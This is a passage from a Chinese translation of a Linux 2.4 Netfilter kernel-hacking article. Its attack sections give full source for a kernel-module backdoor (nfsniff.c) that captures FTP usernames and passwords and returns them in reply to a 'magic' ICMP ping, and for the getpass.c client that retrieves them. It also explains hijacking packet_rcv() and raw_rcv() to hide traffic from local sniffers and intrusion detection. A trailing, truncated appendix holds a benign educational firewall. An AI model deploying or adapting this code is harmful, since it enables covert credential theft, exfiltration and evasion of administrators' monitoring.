當模塊加載時,模塊的init_module()函數(shù)簡單的注冊了兩個Netfilter hook。第一個用于查看輸入的數(shù)據(jù)包(在NF_IP_PRE_ROUTING處),嘗試發(fā)現(xiàn)“魔法”ICMP數(shù)據(jù)包。接下來的一個用于查看離開該模塊被安裝的主機的數(shù)據(jù)包(在NF_IP_POST_ROUTING處),這個函數(shù)正是搜索和捕獲FTP的USER和PASS數(shù)據(jù)包的地方。cleanup_module()函數(shù)只是簡單的注銷這兩個hook。
watch_out()是用于hook NF_IP_POST_ROUTING的函數(shù),查看這個函數(shù)你可以看到,它的執(zhí)行的操作非常簡單。當一個數(shù)據(jù)包進入這個函數(shù)過后,將經(jīng)過各種檢查,以確定它是一個FTP數(shù)據(jù)包。如果它不是一個FTP數(shù)據(jù)包,那么立即返回NF_ACCEPT。如果它是一個FTP數(shù)據(jù)包,那么該模塊進行檢查是否已經(jīng)存在一個用戶名/密碼對。如果存在(以have_pair的非零值標識),那么返回NF_ACCEPT,該數(shù)據(jù)包最終能夠離開該系統(tǒng)。否則,check_ftp()函數(shù)被調(diào)用,這是密碼提取實際發(fā)生的地方。如果沒有先前的數(shù)據(jù)包已經(jīng)被接收,那么target_ip和target_port變量應當被清除。
check_ftp()開始于從數(shù)據(jù)包的開始查找"USER","PASS"或"QUIT"。注意直到USER命令處理之后才處理PASS命令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達之前連接中斷而導致的死鎖的發(fā)生。同樣,如果QUIT命令到達時僅有用戶名被捕獲,那么將重置操作,開始嗅探一個新的連接。當一個USER或者PASS命令到達時,如果必要完整性校驗通過,則記錄下命令的參數(shù)。正常運行下,在check_ftp()函數(shù)完成之前,檢查是否已經(jīng)有了一個有效的用戶名和密碼串。如果是,則設置have_pair的值為非零并且在當前的用戶名/密碼對被獲取之前不會再抓取其它的用戶名或密碼。
到目前為止你已經(jīng)看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當指定的“魔法”數(shù)據(jù)包到達時會發(fā)生什么。在此需特別注意,因為這是在整個開發(fā)過程中出現(xiàn)的最大難題。如果我沒記錯的話,共遭遇了16個核心錯誤:)。當數(shù)據(jù)包進安裝該模塊的主機時,watch_in()檢查每一個數(shù)據(jù)包以查看其是否是一個“魔法”數(shù)據(jù)包。如果數(shù)據(jù)包不能提供足以證明它是一個“魔法”數(shù)據(jù)包的信息,那么它將被被watch_in()忽略,簡單的返回一個NF_ACCEPT。注意“魔法”數(shù)據(jù)包的標準之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。這使得發(fā)送應答更加容易。當然,可以重新分配一個新的sk_buff,但是正確的獲取所有必要的域得值可能會比較困難,并且你還必須得正確的獲取它們!因此,與其為我們的應答數(shù)據(jù)包創(chuàng)建一個新的數(shù)據(jù)結(jié)構(gòu),不如簡單的調(diào)整請求數(shù)據(jù)包的數(shù)據(jù)結(jié)構(gòu)。為了成功的返回數(shù)據(jù)包,需要做幾個改動。首先,交換IP地址,并且sk_buff數(shù)據(jù)結(jié)構(gòu)中描述數(shù)據(jù)包類型的域(pkt_type)應當被換成PACKET_OUTGOING,這些宏在linux/if_packet.h中定義。接下來應當小心的是確定包含了任意的鏈路層頭。我們接收到的數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)域指向鏈路層頭之后,并且它是指向被發(fā)送的數(shù)據(jù)包的數(shù)據(jù)的開始的數(shù)據(jù)域。那么對于需要鏈路層包頭(以太網(wǎng)及環(huán)回和點對點的raw)的接口,我們將數(shù)據(jù)域指向mac.ethernet或者mac.raw結(jié)構(gòu)。為確定這個數(shù)據(jù)包來自的什么類型的接口你可以查看sb->dev->type的值,其中sb是一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針。這個域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。
表3 : 接口類型的常用值
類型代碼 接口類型
ARPHRD_ETHER 以太網(wǎng)
ARPHRD_LOOPBACK 環(huán)回設備
ARPHRD_PPP 點對點(例如撥號)
最后,我們要做的是真正的復制我們想在的應答中送出的數(shù)據(jù)。到送出數(shù)據(jù)包的時候了,dev_queue_xmit()函數(shù)以一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針作為它唯一的參數(shù),在“好的錯誤”情況下,返回一個負的錯誤代碼。我所說的“好的錯誤”是什么意思呢?如果你給函數(shù)dev_queue_xmit()一個錯誤構(gòu)造的套接字緩沖,那么你就會得到一個伴隨著內(nèi)核錯誤和內(nèi)核堆棧的dump信息的“不太好的錯誤”。看看在這里錯誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經(jīng)見到過這個數(shù)據(jù)包。如果你已經(jīng)調(diào)用了dev_queue_xmit(),不要返回NF_DROP!這是因為dev_queue_xmit()將釋放傳遞進來的套接字緩沖,而Netfilter會嘗試對被NF_DROP的數(shù)據(jù)包做同樣的操作。好了。對于代碼的討論已經(jīng)足夠了,請看具體的代碼。
------[ 5.2.1 - 源代碼 : nfsniff.c
<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* Written by bioforge, March 2003 */
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));
/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;
/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
data += 5;
if (username) return;
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = '\0'; /* NULL terminate */
} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
data += 5;
/* If a username hasn't been logged yet then don't try logging
* a password */
if (username == NULL) return;
if (password) return;
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = '\0'; /* NULL terminate */
} else if (strncmp(data, "QUIT", 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;
return;
}
} else {
return;
}
if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %s\n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;
/* Make sure this is a TCP packet first */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_ftp(sb);
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved\n");
return NF_STOLEN;
}
int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_IP_PRE_ROUTING;
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING;
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
return 0;
}
void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
}
<-->
------[ 5.2.2 - 源代碼 : getpass.c
<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
exit(1);
}
/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...\n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s\n",
(char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
<-->
** 譯注:上述兩個文件的Makefile:
<++> nfsniff/Makefile
#Makefile
#
CFLAGS=-Wall
LIBS=-L/usr/lib -lc
# Change include directory for your kernel
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)
EXECUTE_CFLAGS=-ggdb
EXECUTE_CFLAGS+=$(CFLAGS)
all : nfsniff.o getpass
nfsniff.o : nfsniff.c
gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
ld -r -o nfsniff.o nfsniff~.o $(LIBS)
getpass.o : getpass.c
gcc -c getpass.c $(EXECUTE_CFLAGS)
getpass : getpass.o
gcc -o getpass getpass.o $(EXECUTE_CFLAGS)
clean :
rm -f *.o getpass
<-->
**譯注完
--[ 6 - 在Libpcap中隱藏網(wǎng)絡通信
這一節(jié)簡短的描述,如何在修改Linux的內(nèi)核,使與匹配預先定義的條件的網(wǎng)絡通信對運行于本機的數(shù)據(jù)包嗅探工具不可見。列在本文最后的是可以正常運行的代碼,它實現(xiàn)了隱藏所有來自或者是去往指定的IP地址的數(shù)據(jù)包的功能。好了,讓我們開始...
----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
對系統(tǒng)管理員來說,最有用的軟件莫過于哪些在廣義分類下被稱為“數(shù)據(jù)包嗅探器”的軟件了。兩個最典型的通用數(shù)據(jù)包嗅探器是tcpdump(1)以及ethereal(1)。這兩個軟件都利用了Libpcap庫(隨著參考文獻[1]中的tcpdump發(fā)布)來抓取原始數(shù)據(jù)包。網(wǎng)絡入侵檢測系統(tǒng)(NIDS)也利用了Libpcap庫。SNORT需要Libpcap,Libnids——一個提供IP重組和TCP流跟蹤的NIDS開發(fā)庫(參見參考文獻[2]),也是如此。
在Linux系統(tǒng)下,Libpcap庫使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它可以用于發(fā)生和接收鏈路層的原始數(shù)據(jù)包。關(guān)于Paket套接字有很多話題,但是由于本節(jié)討論的是關(guān)于如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7)手冊頁。對于本文中的討論,只需要理解packet套接字被Libpcap應用程序用于獲取進入或者離開本地主機的原始數(shù)據(jù)包。
當核心網(wǎng)絡堆棧收到一個數(shù)據(jù)包的時候,檢查該數(shù)據(jù)包是否是某個packet套接字感興趣的數(shù)據(jù)包。如果是,則將該數(shù)據(jù)遞交給那些對其感興趣的套接字。如果不是,該數(shù)據(jù)包繼續(xù)它的旅程,進入TCP、UDP或者其它類型的套接字。對于SOCK_RAW類型的套接字同樣如此。原始套接字很類似于packet套接字,只是原始套接字不提供鏈路層的包頭。一個利用原始套接字的實用程序的例子是我的SYNalert程序,參見參考文獻[3](請原諒我在這兒插入的題外話 :)。
到此,你應該已經(jīng)了解了Linux下的數(shù)據(jù)包嗅探軟件使用了Libpcap庫。Libpcap在Linux下利用packet套接字接口來獲取包含鏈路層包頭的原始數(shù)據(jù)包。同時提到了原始套接字,它提供給用戶空間的應用程序獲取包含IP頭的數(shù)據(jù)包的方法。下一節(jié)將討論如何通過Linux核心模塊來隱藏來自這些packet套接字以及原始套接字的網(wǎng)絡通信。
------[ 6.2 給狼披上羊皮
當收到數(shù)據(jù)包并將其送到一個packet套接字時,packet_rcv()函數(shù)被調(diào)用。這個函數(shù)可以在net/packet/af_packet.c中找到,packet_rcv()負責使數(shù)據(jù)包經(jīng)過所有應用于目的套接字的套接字過濾器,并最終將其遞交到用戶空間。為了隱藏來自packet套接字的數(shù)據(jù)包,我們需要阻止所有特定數(shù)據(jù)包調(diào)用packet_rcv()函數(shù)。我們?nèi)绾巫龅竭@一點?當然是優(yōu)秀的ol式的函數(shù)劫持了。
函數(shù)劫持的基本操作是:如果我們知道一個內(nèi)核函數(shù),甚至是那些沒有被導出的函數(shù),的入口地址,我們可以在使實際的代碼運行前將這個函數(shù)重定位到其他的位置。為了達到這樣的目的,我們首先要從這個函數(shù)的開始,保存其原來的指令字節(jié),然后將它們換成跳轉(zhuǎn)到我們的代碼處執(zhí)行的絕對跳轉(zhuǎn)指令。例如以i386匯編語言實現(xiàn)該操作如下:
movl (address of our function), %eax
jmp *eax
這些指令的16進制代碼如下(假設我們的函數(shù)地址為0):
0xb8 0x00 0x00 0x00 0x00
0xff 0xe0
如果我們在Linux核心模塊的初始化時將上例中的函數(shù)地址替換為我們的hook函數(shù)的地址,我們就能夠使我們的hook函數(shù)先運行。當我們想運行原來的函數(shù)時,我們只需要在開始時恢復函數(shù)原來的指令,調(diào)用該函數(shù)并且替換我們的劫持代碼。簡單而有效。Silvio Cesare 不久前寫過一篇文章,講述如何實現(xiàn)內(nèi)核函數(shù)劫持,參見參考文獻[4]。
要從packet套接字隱藏數(shù)據(jù)包,我們首先要寫一個hook函數(shù),用于檢查數(shù)據(jù)包是否滿足我們隱藏的標準。如果滿足,那么我們的hook函數(shù)簡單的向它的調(diào)用函數(shù)返回0,packet_rcv()永遠不會被調(diào)用。如果packet_rcv()永遠不被調(diào)用,那么這個數(shù)據(jù)包也永遠都不會遞交給用戶空間的packet套接字。注意,只是對于"packet"套接字來說,該數(shù)據(jù)包被丟棄了。如果我們要過濾送到packet套接字的FTP數(shù)據(jù)包,那么FTP服務器的TCP套接字仍然能收到這些數(shù)據(jù)包。我們所做的一切只是使運行在本機上的嗅探軟件無法看到這些數(shù)據(jù)包。FTP服務器仍然能夠處理和記錄連接。
理論上就是這么多,關(guān)于原始套接字的用法同理可得。不同的是我們需要hook的是raw_rcv()函數(shù)(在net/ipv4/raw.c中可以找到)。下一節(jié)將給出并討論一個Linux核心模塊的示例代碼,該代碼劫持packet_rcv()函數(shù)和raw_rcv()函數(shù),隱藏任何來自或去往我們指定的IP地址的數(shù)據(jù)包。
--[ 7 - 結(jié)束語
希望你現(xiàn)在至少對Netfilter有了一個初步的了解,如何使用它以及你能用它來做什么。你同樣也應當有了一些使特定的網(wǎng)絡通信從運行在本機的嗅探軟件中隱藏的知識了。如果你需要本文中涉及的源代碼的tar包,請直接給我發(fā)email。我同樣很樂意接收任何的指正、批評或者建議。好了,把一切都留給你和你的想象力,來做一些我在這兒展現(xiàn)的有趣的事吧!
--[ A - 輕量級防火墻
----[ A.1 - 概述
輕量級防火墻(LWFW)是一個簡單的內(nèi)核模塊,用于演示我們在第4節(jié)中涉及的基本的數(shù)據(jù)包過錄技術(shù)。LWFW也通過ioctl()系統(tǒng)調(diào)用提供了一個控制接口。
由于LWFW的源代碼已經(jīng)有足夠的文檔了,我在這兒只給出它如何工作的簡單概述。當LWFW模塊被加載后,它的第一個任務就是嘗試注冊控制設置。注意在LWFW的ioctl()控制接口可用之前,需要在/dev下創(chuàng)建一個字符設備文件。如果控制設備注冊成功,"in use"標志被清除并且對NF_IP_PRE_ROUTE進行hook的函數(shù)被注冊。清除函數(shù)執(zhí)行相反的操作。
LWFW對數(shù)據(jù)包丟棄提供三個基本的選項。按照處理的順序列出如下:
-- 源接口
-- 源IP地址
-- 目的TCP端口
這些規(guī)則的設置由ioctl()接口完成。當一個數(shù)據(jù)包被接收,LWFW按照我們設定的規(guī)則進行檢查。如果匹配了其中的任意一條規(guī)則,那么hook函數(shù)將返回NF_DROP,然后Netfilter將悄無聲息的丟棄這個數(shù)據(jù)包。否則,hook函數(shù)返回NF_ACCEPT,數(shù)據(jù)包將繼續(xù)它的旅程。
最后,有必要提一下的是LWFW的統(tǒng)計日志。無論任何時候數(shù)據(jù)包進入hook函數(shù),LWFW都將收到的數(shù)據(jù)包的計數(shù)累加。單獨的規(guī)則檢查函數(shù)負責增加它們各自的丟棄的數(shù)據(jù)包的計數(shù)。注意,當規(guī)則的值被改變時,它的丟棄數(shù)據(jù)包的計數(shù)被重置為0。lwfwstats程序利用LWFW_GET_STATS這個IOCTL來獲取統(tǒng)計數(shù)據(jù)結(jié)構(gòu)的一個副本并顯示其內(nèi)容。
----[ A.2 - 源代碼 : lwfw.c
<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge - March 2003.
*/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <asm/errno.h>
#include <asm/uaccess.h>
#include "lwfw.h"
/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);
/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);
/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;
/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;
/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
| LWFW_IP_DENY_ACTIVE
| LWFW_PORT_DENY_ACTIVE);
static int major = 0; /* Control device major number */
/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;
/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};
/* Actual rule 'definitions'. */
/* TODO: One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL; /* Interface to deny */
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
static unsigned short deny_port = 0x0000; /* TCP port to deny */
/*
* This is the interface device's file_operations structure
*/
struct file_operations lwfw_fops = {
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
lwfw_ioctl,
NULL,
lwfw_open,
NULL,
lwfw_release,
NULL /* Will be NULL'ed from here... */
};
MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");
/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
unsigned int ret = NF_ACCEPT;
/* If LWFW is not currently active, immediately return ACCEPT */
if (!active)
return NF_ACCEPT;
lwfw_statistics.total_seen++;
/* Check the interface rule first */
if (deny_if && DENY_IF_ACTIVE) {
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
}
}
/* Check the IP address rule */
if (deny_ip && DENY_IP_ACTIVE) {
ret = check_ip_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}
/* Finally, check the TCP port rule */
if (deny_port && DENY_PORT_ACTIVE) {
ret = check_tcp_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}
return NF_ACCEPT; /* We are happy to keep the packet */
}
/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
NULL_CHECK(statbuff);
copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));
return 0;
}
/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
/* Seperately defined pointers to header structures are used
* to access the TCP fields because it seems that the so-called
* transport header from skb is the same as its network header TCP packets.
* If you don't believe me then print the addresses of skb->nh.iph
* and skb->h.th.
* It would have been nicer if the network header only was IP and
* the transport header was TCP but what can you do? */
struct tcphdr *thead;
/* We don't want any NULL pointers in the chain to the TCP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
/* Now check the destination port */
if ((thead->dest) == deny_port) {
/* Update statistics */
lwfw_statistics.total_dropped++;
lwfw_statistics.tcp_dropped++;
return NF_DROP;
}
return NF_ACCEPT;
}
/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
lwfw_statistics.ip_dropped++; /* Update the statistics */
lwfw_statistics.total_dropped++;
return NF_DROP;
}
return NF_ACCEPT;
}
static int set_if_rule(char *name)
{
int ret = 0;
char *if_dup; /* Duplicate interface */
/* Make sure the name is non-null */
NULL_CHECK(name);
/* Free any previously saved interface name */
if (deny_if) {
kfree(deny_if);
deny_if = NULL;
}
if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
== NULL) {
ret = -ENOMEM;
} else {
memset(if_dup, 0x00, strlen((char *)name) + 1);
memcpy(if_dup, (char *)name, strlen((char *)name));
}
deny_if = if_dup;
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
printk("LWFW: Set to deny from interface: %s\n", deny_if);
return ret;
}
static int set_ip_rule(unsigned int ip)
{
deny_ip = ip;
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */
printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
